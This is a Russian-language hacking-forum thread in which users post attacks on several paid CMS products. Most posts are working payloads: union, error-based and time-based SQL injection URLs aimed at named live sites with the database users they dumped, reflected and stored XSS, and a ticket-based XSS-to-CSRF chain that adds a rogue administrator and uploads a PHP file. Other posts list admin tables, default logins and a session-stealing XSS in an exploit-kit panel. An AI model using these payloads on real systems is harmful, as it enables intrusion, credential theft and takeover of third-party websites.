Обзор уязвимостей в платных CMS

Discussion in 'Веб-уязвимости' started by Roba, 10 Jan 2008.

  1. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    524
    Reputations:
    173
    Связка эксплойтов CritXpack

    Активная XSS в поле BackURL


    Для её работы нужно создать поток с .exe потом указать BackURL пример google.com/<script>alert('a')</script>

    Внимание, после указание BackURL у вас исчезнет статистика, браузеров, загрузок, уников, лоадов и прочее. Зато после проверки админом придёт его сессия.
     
    #81 OxoTnik, 9 Jan 2013
    Last edited: 9 Jan 2013
    2 people like this.
  2. rogatiy

    rogatiy New Member

    Joined:
    3 Mar 2013
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Узнать версию Amiro.CMS
    Разработчик CMS: Amiro
    Номер версии: <=5.14.6(проверено на 5.14.6 и 5.8.4)
    Сайт: http://www.amiro.ru/

    В коде страницы должен быть скрипт вида
    Code:
    <script type="text/javascript" src="http://127.0.0.1/system_js.php?script=imgclear&_hash=*MD5*&_cv=[COLOR=Red][B]5.14.6.6[/B][/COLOR]"></script>
    Значение переменной '_cv' - версия CMS. Так для 5.14.6 _cv=5.14.6.6, а для 5.8.4 _cv=5.8.4.0. Кроме того, попробуйте воспользоваться поиском по коду, ибо данная переменная много, где фигурирует.

    PS: Выложите на exploit-db по возможности, может пригодится в будущем.
     
  3. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    SiteLeader CMS

    Цена: Стоимость услуг по разработке сайтов: 75 000 — 250 000
    Сайт: www.siteleader.ru
    Тестировалось на версии 3.62


    SQL Injection

    Code:
    /news/[COLOR=Green][VALIDNUMBER][/COLOR][COLOR=Red][SQLINJ][/COLOR]

    Пример реализации

    Code:
    http://www.juliavolkova.com/ru/news/[COLOR=Green]1[/COLOR][COLOR=Red]'[/COLOR]


    Code:
    http://www.juliavolkova.com/ru/news/[COLOR=Red]-[/COLOR][COLOR=Green]1[/COLOR][COLOR=Red]' union all select 1,2,concat(user(),0x3a,database()),4,5-- a[/COLOR]

    Ответ: VOLKOVA@LOCALHOST:VOLKOVA


    Code:
    http://krasimvse.ru/news/[COLOR=Green]1[/COLOR][COLOR=Red]'[/COLOR]


    Code:
    http://krasimvse.ru/news/[COLOR=Red]-[/COLOR][COLOR=Green]1[/COLOR][COLOR=Red]' union all select 1,2,concat(user(),0x3a,database()),4,5-- a[/COLOR]

    Ответ: kraskoteka@localhost:kraskoteka

    Админ-панель: /admin/login/
    Стандартный логин: root


    При добавлении контента (в админ-панели) везде выполняется JS код.

    Найдено мной
     
    #83 MaxFast, 2 Mar 2014
    Last edited: 2 Mar 2014
    3 people like this.
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    CMS A4-site

    Сайт:www.a4-site.ru
    Демо-версия:www.demo.a4-site.ru
    Функциональность: От сайтов-визиток с минимальной функциональностью до проектов с посещаемостью в десятки и сотни тысяч посетителей в день. (c)
    Стоимость:Система управления сайтом A4-Site пока не продается "в коробке". Но вы можете заказать реализацию вашего проекта на ее основе в Интернет-компании A4-Site.(c)

    Исследования проводим на демо-версии.

    SQL Injection

    Уязвимый параметр: search_str
    Вектор: error-based
    Требования: mq = off
    Exploit:[http://demo.a4-site.ru/index.php?checksumm=193232&rubr=pages&page=search&search_str='and(extractvalue(1,concat(0x3a,version())))and'&search_cond=AND]
    Query:
    PHP:
    INSERT INTO distr_searchlog (sl_query,sl_count,sl_time,sl_condVALUES (''and(extractvalue(1,concat(0x3a,version())))and'',0,'0','AND')
    XSS (passive)

    Все тот же параметр search_str
    Exploit: [http://demo.a4-site.ru/index.php?checksumm=193232&rubr=pages&page=search&search_str="><img src=x onerror=alert('Antichat')>&search_cond=AND]
     
    1 person likes this.
  5. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    CMS Business Station

    Сайт:http://cms-bs.ru
    Стоимость:http://cms-bs.ru/configuration/

    reflected XSS

    Уязвимость присутствует в форме авторизации - переменная login.

    PoC: отправляем пакет
     
  6. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    CMS Shop-Rent
    Сайт: shop-rent.ru

    Time-Based Blind SQL Injection (pics.php):
    Code:
    pics.php?id=1[COLOR=Red]'+and+(select * from+(select(sleep(10)))x)+and--'1[/COLOR]
    XSS
    Code:
    pics.php?id=[COLOR=Red]"><script>alert();</script>[/COLOR]
    Примеры:

    Code:
    http://disloc.ru/pics.php?id=1' and (select * from (select(sleep(10)))x) and--'1
    TRUE
    Code:
    http://bookcoffee.ru/pics.php?id=215' and (select * from (select(sleep(10)))x) and--'1
    TRUE

    Таблица с администраторами: gd_main_users
    Таблица с остальными пользователями: gd_users
    Админ-панель: admin.site.ru
     
    2 people like this.
  7. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    162
    Likes Received:
    31
    Reputations:
    0
    grimnir and crlf like this.
  8. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    PAM HYIP

    Сайт: http://www.pamhyip.com/
    Версия: 2014

    Заливка шелла в админке (/admin/) Tools -> Banners. Таблица админов admin(колонки email, password). Алгоритм md5. Полностью дырявый скрипт, везде SQL-инъекции.

    1. SQL-инъекция в gettogateway.php
    PHP:
    ...
    $gatewayid $_POST['gatewayid']; 
    $select mysql_query("select * from `gateway_settings` where `status`='1' and gateway_id != '".$gatewayid."' ");  
    ...
    Пример:
    Code:
    http://hyip/gettogateway.php
    POST: gatewayid=1' union select 1,concat_ws(0x3a,adminId,email,password),3,4,5,6,7 from admin-- t
    
    2. XSS -> CSRF -> RCE
    После регистрации (index.php?pg=register) и авторизации на сайте, можно отправлять тикеты (index.php?pg=ticket). Поле Message принимает все и без каких-либо изменений показывается в админ-панеле (admin/index.php?pg=tickets). Код выполнится, когда админ откроет наш тикет.
    > Добавление нового админа
    Создаем новый тикет, вписав в поле Message следующий код:
    Code:
    <script>
    $(document).ready(function(){
                $.ajax({
                    type:'POST',
                    url:'/admin/index.php?pg=subadminValid',
                    data: 'email=bbb%40aaa.aa&adminId=&password=123456&realname=aaaa&permission%5B%5D=Users&permission%5B%5D=Finance&permission%5B%5D=Reports&permission%5B%5D=Tools&permission%5B%5D=Support&permission%5B%5D=Settings&phoneno=12345652244&ipaddress=127.0.0.1&status=1&save=Submit',
                });
            });
    </script>
    
    Ключевыми являются параметры email, password и ipaddress. После открытия тикета создастся админ с юзернеймом [email protected] и паролем 123456.
    > Заливка шелла
    Создаем новый тикет, вписав в поле Message следующий код:
    Code:
    <script>
    $(document).ready(function(){
                $.ajax({
                    type:'POST',
                    url:'/admin/index.php?pg=headerbannervalid',
                    contentType: 'multipart/form-data; boundary=1234567890',
                    data: "--1234567890\r\nContent-Disposition: form-data; name=\"banner\"; filename=\"php.php\"\r\n\r\n<?php phpinfo();die();?>\r\n--1234567890--",
                });
            });
    </script>
    
    Уязвимый код в /admin/model/headimge.php:
    PHP:
    ...
    $image date('Ymdhis').$_FILES['banner']['name']; 
    move_uploaded_file($_FILES['banner']['tmp_name'],'../content/headercontent/'.$image); 
    ...
    Файл сохранится как [YYYY][mm][dd](H)(i)(S)php.php. Например 20171201010149php.php. Это уже надо брутить. Файл будет записан по адресу http://hyip/content/headercontent/.

    P.S. Там уязвимостей очень много, думаю будет интересно покопаться, особенно начинающим :)
     
    grimnir, crlf and cat1vo like this.